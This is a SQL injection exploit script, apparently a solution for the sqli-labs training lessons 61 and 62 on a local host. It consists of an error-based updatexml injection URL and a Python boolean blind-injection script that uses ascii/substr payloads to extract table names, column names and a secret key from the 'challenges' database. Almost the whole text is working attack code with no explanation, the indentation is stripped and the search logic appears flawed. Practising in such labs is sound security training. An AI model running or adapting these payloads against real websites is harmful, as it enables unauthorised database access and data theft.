http://127.0.0.1/4/Less-61/?id=1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='challenges'),0x7e),1)--+
#盲注
import requests
global num
num=0
payload1 = "http://127.0.0.1/4/Less-62/index.php?id=1') and ascii(substr((select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges'),%s,1))>%d--+"
payload2 = "http://127.0.0.1/4/Less-62/index.php?id=1') and ascii(substr((select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges'),%s,1))<%d--+"
payload3 = "http://127.0.0.1/4/Less-62/index.php?id=1') and ascii(substr((select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges'),%s,1))=%d--+"
payload4 = "http://127.0.0.1/4/Less-62/index.php?id=1') and ascii(substr((select column_name from information_schema.columnS where TABLE_name=%s limit 2,1),%s,1))>%d--+"
payload5 = "http://127.0.0.1/4/Less-62/index.php?id=1') and ascii(substr((select column_name from information_schema.columnS where TABLE_name=%s limit 2,1),%s,1))<%d--+"
payload6 = "http://127.0.0.1/4/Less-62/index.php?id=1') and ascii(substr((select column_name from information_schema.columnS where TABLE_name=%s limit 2,1),%s,1))=%d--+"
payload7 = "http://127.0.0.1/4/Less-62/index.php?id=1') and ascii(substr((select %s from %s),%s,1))>%d--+"
payload8 = "http://127.0.0.1/4/Less-62/index.php?id=1') and ascii(substr((select %s from %s),%s,1))<%d--+"
payload9 = "http://127.0.0.1/4/Less-62/index.php?id=1') and ascii(substr((select %s from %s),%s,1))=%d--+"
dic = []
for need_number in range(48,58):
dic.append(chr(need_number))
for need_number in range(65,91):
dic.append(chr(need_number))
for need_number in range(97,123):
dic.append(chr(need_number))
def check_table(payload):
global num
num += 1
content=requests.get(url=payload).text
if "Angelina" in content:
return 1
else:
return 0
def check_column(payload):
global num
num+=1
content=requests.get(url=payload).text
if "Angelina" in content:
return 1
else:
return 0
def check_key(payload):
global num
num+=1
content=requests.get(url=payload).text
if "Angelina" in content:
return 1
else:
return 0
def solution_table():
min=0
max=len(dic)-1
tmp=''
table_name=''
for i in range(11):
for t in range(min,max):
center=int((min+max)/2)
url1=payload1%(i,t)
url2=payload2%(i,t)
url3=payload3%(i,t)
if check_table(url1):
max=center+1
if check_table(url2):
min=center-1
if check_table(url3):
tmp=chr(t)
break
table_name+=tmp
return table_name
def solution_column(table_name):
min=0
max=len(dic)-1
tmp=''
column_name=''
for i in range(11):
for t in range(min,max):
center=int((min+max)/2)
url4=payload4%(table_name,i,t)
url5=payload5%(table_name,i,t)
url6=payload6%(table_name,i,t)
if check_column(url4):
max=center+1
if check_column(url5):
min=center-1
if check_column(url6):
tmp=chr(t)
break
column_name+=tmp
return column_name
def solution_key(column_name,table_name):
min=0
max=len(dic)-1
tmp=''
key=''
for i in range(11):
for t in range(min,max):
center=int((min+max)/2)
url7=payload7%(column_name,table_name,i,t)
url8=payload8%(column_name,table_name,i,t)
url9=payload9%(column_name,table_name,i,t)
if check_key(url7):
max=center+1
if check_key(url8):
min=center-1
if check_key(url9):
tmp=chr(t)
break
key+=tmp
return key
if __name__=="__main__":
table_name=solution_table()
column_name=solution_column(table_name)
key=solution_key(column_name,table_name)
print("the table_name is : "+table_name+"\t"+"the column_name is : "+column_name+"\t"+"the key is : "+key)